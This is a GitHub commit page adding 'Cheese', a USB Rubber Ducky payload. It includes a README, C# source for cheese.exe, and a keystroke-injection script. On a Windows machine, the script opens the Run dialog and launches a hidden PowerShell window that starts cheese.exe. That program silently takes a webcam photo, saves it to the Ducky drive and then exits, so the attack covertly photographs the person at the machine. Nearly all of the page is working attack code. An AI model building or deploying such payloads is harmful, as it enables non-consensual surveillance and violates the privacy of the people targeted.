-
Notifications
You must be signed in to change notification settings - Fork 1.4k
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
1 parent
bf2dfb7
commit bbd8afa
Showing
4 changed files
with
105 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,9 @@ | ||
## About: | ||
* Title: Cheese | ||
* Description: Cheese is a Rubber Ducky Script that will execute cheese.exe which will take a photo from the webcam and save it to rubber ducky. | ||
* AUTHOR: Pinguino-HK | ||
* Version: 1.0 | ||
* Category: General. | ||
* Target: Windows. | ||
* Attackmodes: HID STORAGE. | ||
* SourceCode: The srouce code of cheese.exe can be found in cheese.cs, it s .NET C# application. |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,82 @@ | ||
using AForge.Video.DirectShow; | ||
using System; | ||
using System.Drawing; | ||
using System.IO; | ||
|
||
class Program | ||
{ | ||
private static FilterInfoCollection GetVideoDevices() | ||
{ | ||
return new FilterInfoCollection(FilterCategory.VideoInputDevice); | ||
} | ||
|
||
static void Main(string[] args) | ||
{ | ||
|
||
DriveInfo[] drives = DriveInfo.GetDrives(); | ||
string usbDriveLetter = ""; | ||
|
||
foreach (DriveInfo drive in drives) | ||
{ | ||
if (drive.IsReady && drive.VolumeLabel == "DUCKY") | ||
{ | ||
usbDriveLetter = drive.Name; | ||
break; | ||
} | ||
} | ||
|
||
if (usbDriveLetter == "") | ||
{ | ||
Console.WriteLine("USB drive 'DUCKY' not found."); | ||
return; | ||
} | ||
|
||
|
||
// Get available video devices | ||
var videoDevices = GetVideoDevices(); | ||
|
||
if (videoDevices.Count == 0) | ||
{ | ||
Console.WriteLine("No video devices found."); | ||
Environment.Exit(1); // Exit the application with an error code | ||
} | ||
|
||
// Select the first video device | ||
var videoDevice = videoDevices[0]; | ||
|
||
// Create video source | ||
var videoSource = new VideoCaptureDevice(videoDevice.MonikerString); | ||
|
||
// Start capturing | ||
videoSource.Start(); | ||
|
||
// Wait for a short period to ensure camera is ready (adjust as needed) | ||
System.Threading.Thread.Sleep(2000); | ||
|
||
// Capture the frame | ||
videoSource.NewFrame += (sender, eventArgs) => | ||
{ | ||
// Capture the new frame | ||
Bitmap bitmap = (Bitmap)eventArgs.Frame.Clone(); | ||
|
||
// Save the bitmap to a file | ||
// | ||
//string filePath = @"D:\image.jpg"; | ||
//string filePath = Path.Combine(usbDriveLetter, "\\:image.jpg"); | ||
string filePath = usbDriveLetter + @"\image.jpg"; | ||
bitmap.Save(filePath); | ||
|
||
Console.WriteLine("Image saved to " + filePath); | ||
|
||
// Stop capturing | ||
videoSource.SignalToStop(); | ||
videoSource.WaitForStop(); | ||
|
||
// Exit the application | ||
Environment.Exit(0); | ||
}; | ||
|
||
// Wait for capturing to finish (This line should be removed if not waiting indefinitely) | ||
videoSource.WaitForStop(); | ||
} | ||
} |
Binary file not shown.
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,14 @@ | ||
REM Author: Pinguino-HK | ||
|
||
REM Cheese is a Rubber Ducky Script that will execute cheese.exe which will take a photo from the webcam and save it to rubber ducky. | ||
REM The speed delay can be adapted/modified | ||
REM the ALF F4 is only if the target had autorun which will pop the Ducky folder | ||
|
||
ATTACKMODE HID STORAGE | ||
DELAY 5000 | ||
ALT F4 | ||
ESC | ||
DELAY 2000 | ||
GUI r | ||
DELAY 1000 | ||
STRINGLN powershell -WindowStyle Hidden Start-Process -FilePath ((Get-Volume -FileSystemLabel 'DUCKY').DriveLetter + ':\cheese.exe'); Start-Sleep -Seconds 7; taskkill /F /IM cheese.exe |
bbd8afa
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
this a payload that will launch cheese.exe, which will take a web cam photo and save it to DUCKY